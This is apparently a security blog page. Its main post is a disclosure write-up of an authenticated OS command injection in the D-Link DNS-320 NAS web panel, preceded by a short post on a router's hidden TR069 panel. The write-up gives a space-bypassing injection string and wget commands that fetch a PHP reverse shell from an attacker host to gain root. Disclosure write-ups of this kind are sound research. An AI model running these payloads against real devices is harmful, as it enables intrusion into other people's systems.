For some reason, I ended up with this SOHO router. It has been deployed by one of the biggest ISPs in Spain for some time (I've no idea if it's still being distributed). I bought it in a second hand store to configure it with my current ISP, and it ended up being a good device.
The firmware it had when I got it was quite bad, lots of configuration parameters missing, slow interface, ... So I surfed the Internet for a better solution.
At some point of my journey, I found this website (http://www.speedtouch.com.br/td5130.htm), which seems to be the Brazilian Technicolor site, and offers a firmware download. This firmware is for the Brazilian GVT ISP.
In this case the panel is "as is", with all advanced options, which is a much better solution for my use case.
At this point, I wanted to know the mechanisms of the router under the hood, so I started extracting the filesystem. It is an embedded Linux system, MIPS architecture.
I didn't find nasty tricks (yet?), but one thing caught my attention. There is a specific configuration panel that is not present in the regular panel tabs or buttons. This panel contains the TR069 settings, which is a protocol that basically gives the ISP control over your router to perform diagnostics, upgrade or change your firmware, and monitor your device.
This is what they use when you have a problem and call the support center, but I guess not all people want this protocol enabled (which is the default).
Some time ago I bought a D-Link 2-Bay NAS (Network-attached storage), pretty awesome to set up two mirrored HDDs and save my backups. It's a D-Link DNS-320 model, very popular and sold until recently, that was discontinued.
One day, I realized that my firmware version was outdated (oh my!) so I decided to update it to the latest version. One thing led to another, and I end up with a root shell in the device, here is how.
The firmware version is 2.03 (MD5 85c8db69504c37ab1840850f7a7038a1 - DNS-320_fw_2.03b03), the latest for this device released on 13 May 2013. Download here.
The first thing I did was to extract the filesystem of the device from the firmware image. I'm going to be really quick on this, using some binwalk-fu, dd-fu and firmware-mod-kit-fu, it's not really difficult to get it.
Using binwalk we can see the different structures embedded in the firmware image.
Click to enlarge
The interesting part is @ 0x3C4740, where we can find a Squashfs filesystem, very used in embedded devices. We have to cut from there with dd, and extract the new image. To be said that to extract the Squashfs filesystem I had to use the unsquashfs_all.sh script included in firmware-mod-kit because of the different and painful existing implementations.
We will find a bunch of ARM binaries: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.14, stripped
Some of them stripped, some of them not, sometimes we will have debug symbols to help us.
The processor assembled in the device is an ARM926EJ-S rev 1 (v5l).
After a walk around the system, I started to stare at /cgi/ binaries, those in charge of user web panel interaction. Could I have some fun with these? Of course I can! Lets have a look at how dynamic DNS configuration is made in the Networking Configuration section of the panel.
For networking configuration, D-Link developers have placed an additional binary in the middle of the cgi binary and the system network commands, this binary is cmd_network, and it accepts the following commands:
Said this, here is how dynamic DNS is configured from the user to the system:
The red painted calls are performed using a system() call to the program with the parameters provided by the user. IDA can give us a good overview of this behavior:
There is no filter of what characters the user can provide at the binaries level (no sanitization of the input), so we are in front of an OS command injection vulnerability.
I tried to inject a test command to exploit the vulnerability, but this is what happened:
Blank spaces are filtered at the web level, and we need them to inject useful commands. We will need to prove our command-line-fu to get rid of this problem. After some training, here is the trick:
To execute ";wget 192.168.1.6" with no blank spaces, we can use ";CMD=$'\x20192.168.1.6/';wget$CMD".
We know the NAS has wget available to be used, and as it is connected to the network we can listen in another box in the port 80 with netcat to check if our commands are being successfully executed.
So there we go ... ;CMD=$'\x20192.168.1.6/';wget$CMD in the host field ... and ...
YAY! We have received the wget petition on the other side, so our commands are being executed properly!
Now we just need to execute a payload capable of giving us a shell. We have php command available, so we can upload a php reverse connection shell script and listen for the shell on the other side. Lets have a try with this one.
First, we upload the reverse shell somewhere to download it to the NAS using wget again. Then, we download it to /tmp/ with .php extension:
"wget 192.168.1.6/rs.txt -O /tmp/rs.php" payload would look like ...
Now we should have our php reverse shell script stored in /tmp/rs.php, so time to run it:
Then we listen in port 1234 on the other side to wait for the reverse shell, which is configured to connect to the IP of this machine to port 1234.
There we go, we have a root shell in our device! uid=0(root) gid=0(root).
I tried to address D-Link this and other issue present in this product. They have no bug bounty program at the moment, and somewhere in the report thread they just lost the conversation. As the product is end of life, and this exploit requires authentication, I released the vulnerability to the public in this post. The vulnerabilities are probably inherited by new models, this should be taken in consideration.
16 Aug 2013 - Vulnerability reported to security contact.
17 Aug 2013 - Security contact replies and we start to discuss about it.
22 Aug 2013 - I am forwarded to another security/engineering contact to finally report the vulnerability.
Sometimes you just need more than 140 chars to explain something, furthermore when you are writing technical stuff. That's why this blog has been created, Twitter is a great communication platform, but I need my space to write about ... well ... things (?). Don't expect a general topic or an update frequency here.
In addition, I will try to write all my posts in English language (sorry about that), which is somehow a challenge for me.
No robots are allowed here, no SEO tricks, consider this little space as a little black hole somewhere in the immensity of the internetz.
By the way, this blog is proudly powered by the amazing Nibbleblog blog engine (which actually means this is not a good moment for you to find a 0-day vulnerability).